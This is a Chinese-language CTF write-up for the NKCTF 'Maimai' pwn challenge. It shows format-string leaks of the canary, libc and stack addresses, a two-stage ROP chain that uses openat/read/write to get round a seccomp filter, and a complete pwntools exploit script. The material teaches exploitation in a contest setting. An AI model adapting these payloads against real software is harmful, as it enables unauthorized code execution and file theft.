0%

NKCTF_Maimai查分器

学习与收获

  1. 当栈溢出的字节数不能满足我们构造完整的rop链时,除了栈迁移我们还可以先构造一个readrop链,让程序再read一次,然后再写入rop链覆盖我们调用read时自己写的返回地址,以控制执行流执行rop链。

  2. 有的程序开了沙箱会过滤一些函数,除了system其他函数如open也可能被过滤,可以使用命令seccomp-tools dump ./pwn查看。

  3. openat函数也是一个类似于open的打开文件的函数,openat函数有4个参数。openat函数的第一个参数如果是0,其第二个参数必须为文件的绝对路径;第二个参数如果是文件的相对路径,其第一个参数需为相对路径前的路径。

  4. 知道了libc基地址,我们需要任何没见过的函数都可以到libc中寻找,如果利用ROPgadget --binary pwn | grep "gadget"没找到gadget,我们也可以去libc中寻找。利用ROPgadget --binary libc.so.6 | grep "gadget"命令,我们找的是偏移gadget_offsetgadget的地址gadget_addr = gadget_offset+libc_base

  5. 在泄漏libc基地址的时候,一般都是随便printf出一个libc中的任意地址,然后在ida中计算偏移。但是如果本地的偏移与远程不同,且我们不容易把本地换成远程的libc,我们可以printf出准确函数函数的libc地址,然后用elf.sym['read']这种表示出偏移。

保护

image-20240323232259681

思路

image-20240323232554875

泄漏地址

​ 有一个格式化字符串漏洞只能输入8字节,和一个栈溢出漏洞。保护全开,我们先泄漏一个canary

payload = b'%7$p'
p.sendline(payload)
p.recvuntil(b'Input your nickname.\n')
canary = int(p.recv(18),16)
log_addr("canary")

泄漏libc

payload = b'%3$p'
p.sendline(payload)
p.recvuntil(b'Input your nickname.\n')
libc_base = int(p.recv(14),16)-libc.sym['read']-18
log_addr("libc_base")

泄漏一个栈地址

payload = b'%p'
p.sendline(payload)
p.recvuntil(b'Input your nickname.\n')
stack = int(p.recv(14),16)
log_addr("stack")

​ 本题拿到shell后没有权限去cat flag,但是我们可以用open-read-writeflag读出并打印出来,又因为过滤了open,所以我们要用一个与open函数类似的openat函数打开文件。

image-20240324190744811

布置rop

​ 因为是64位程序,所以传参需要寄存器,我们在程序里找不到gadget,但是我们可以到libc中找gadget的偏移,再加上libc基地址即可。

rdi = 0x000000000002a3e5+libc_base
rsi = 0x000000000002be51+libc_base
rdx_r12 = 0x000000000011f2e7+libc_base#0x000000000011f497+libc_base
rcx = 0x3d1ee+libc_base#0x000000000008c6bb+libc_base

​ 程序中我们能溢出80个字节,但是orw_rop链的长度远远超过了0x80个字节,因此我们可以先read一次,read到哪儿呢?read到装返回地址的这个地址里,覆盖我们的返回地址,这样才能继续控制执行流执行接下来的orw_rop链。这个返回地址,是我们在r_rop链中自己布置的,调用完read函数后的返回地址。

payload = b'a'*(0x30-8)+p64(canary)+b'a'*8
payload+=p64(rdi)+p64(0)+p64(rsi)+p64(stack+0x38-8) #这个stack+0x38-8是我们后来填上的
payload+=p64(rdx_r12)+p64(0x1000)+p64(0)
payload+=p64(libc.sym['read']+libc_base)
payload+=p64(0xdeadbeef) #返回地址随便填,会被orw_rop链覆盖
p.send(payload)
#注意这里不能用sendline,因为我们布置的r_rop链已经刚好把0x80个字节占完,再发送一个回车(\n)便会被暂时放在缓冲区,然后被我们再次调用的read读入,而后面发送的orw_rop链也就不会被读入

​ 然后布置orw_rop链,由于文件描述符0,1,2已被占用,这里我们openat打开的新文件的文件描述符为3,所以read读取flag的第一个寄存器的值应该是3

payload = b'/flag\x00\x00\x00'+p64(rdi)+p64(0)
payload+=p64(rsi)+p64(stack+0x38-8)+p64(rdx_r12)+p64(0)+p64(0)+p64(rcx)+p64(0)
payload+=p64(libc.sym['openat']+libc_base)
payload+=p64(rdi)+p64(3)+p64(rsi)+p64(stack-0x100)
#read函数的第一个寄存器为要读取数据的文件的文件描述符,即3
payload+=p64(rdx_r12)+p64(50)+p64(0)+p64(libc.sym['read']+libc_base)
payload+=p64(rdi)+p64(1)+p64(rsi)+p64(stack-0x100)
payload+=p64(rdx_r12)+p64(50)+p64(0)+p64(libc.sym['write']+libc_base)+p64(0)

exp

from tools import *
# p = process('./pwn')
context.arch='amd64'
p = remote("node.nkctf.yuzhian.com.cn",33656)
elf = ELF('./pwn')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc=ELF("/home/wen/Desktop/libc.so.6")

al = p.recvuntil(b'Select a option:')
p.sendline(str(1))
pause()
for i in range(10):
payload = str(15.0).encode()+b'a'
p.sendline(payload)
sleep(0.2)
for i in range(40):
payload = str(15.0).encode()+b'SSS+'
p.sendline(payload)
sleep(0.2)
p.sendline(str(2))
payload = b'%3$p'
debug(p,'pie',0x1a36,0x19ce)
p.sendline(payload)
p.recvuntil(b'Input your nickname.\n')
libc_base = int(p.recv(14),16)-libc.sym['read']-18
log_addr("libc_base")
pause()
p.sendline(b'aa')
pause()
p.sendline(str(2))
payload = b'%p'
p.sendline(payload)
p.recvuntil(b'Input your nickname.\n')
stack = int(p.recv(14),16)
log_addr("stack")
pause()
p.sendline(b'aa')
pause()
p.sendline(str(2))
payload = b'%7$p'
p.sendline(payload)
p.recvuntil(b'Input your nickname.\n')
canary = int(p.recv(18),16)
log_addr("canary")
pause()
p.sendline(b'aa')
pause()

p.sendline(str(2))
payload = b'bbbb'
p.sendline(payload)
p.recvuntil(b'Input your nickname.\n')
rdi = 0x000000000002a3e5+libc_base
rsi = 0x000000000002be51+libc_base
rdx_r12 = 0x000000000011f2e7+libc_base#0x000000000011f497+libc_base
rcx = 0x3d1ee+libc_base#0x000000000008c6bb+libc_base

payload = b'a'*(0x30-8)
payload+=p64(canary)
payload+=b'a'*8
payload+=p64(rdi)+p64(0)
payload+=p64(rsi)+p64(stack+0x38-8)
payload+=p64(rdx_r12)+p64(0x100000)+p64(0)
payload+=p64(libc.sym['read']+libc_base)
payload+=p64(0xdeadbeef)
p.send(payload)
pause()
payload = b'/flag\x00\x00\x00'+p64(rdi)+p64(0)
payload+=p64(rsi)+p64(stack+0x38-8)+p64(rdx_r12)+p64(0)+p64(0)+p64(rcx)+p64(0)
payload+=p64(libc.sym['openat']+libc_base)
payload+=p64(rdi)+p64(3)+p64(rsi)+p64(stack-0x100)
payload+=p64(rdx_r12)+p64(50)+p64(0)+p64(libc.sym['read']+libc_base)
payload+=p64(rdi)+p64(1)+p64(rsi)+p64(stack-0x100)
payload+=p64(rdx_r12)+p64(50)+p64(0)+p64(libc.sym['write']+libc_base)+p64(0)
p.sendline(payload)

p.interactive()

拿到flag

image-20240324192822020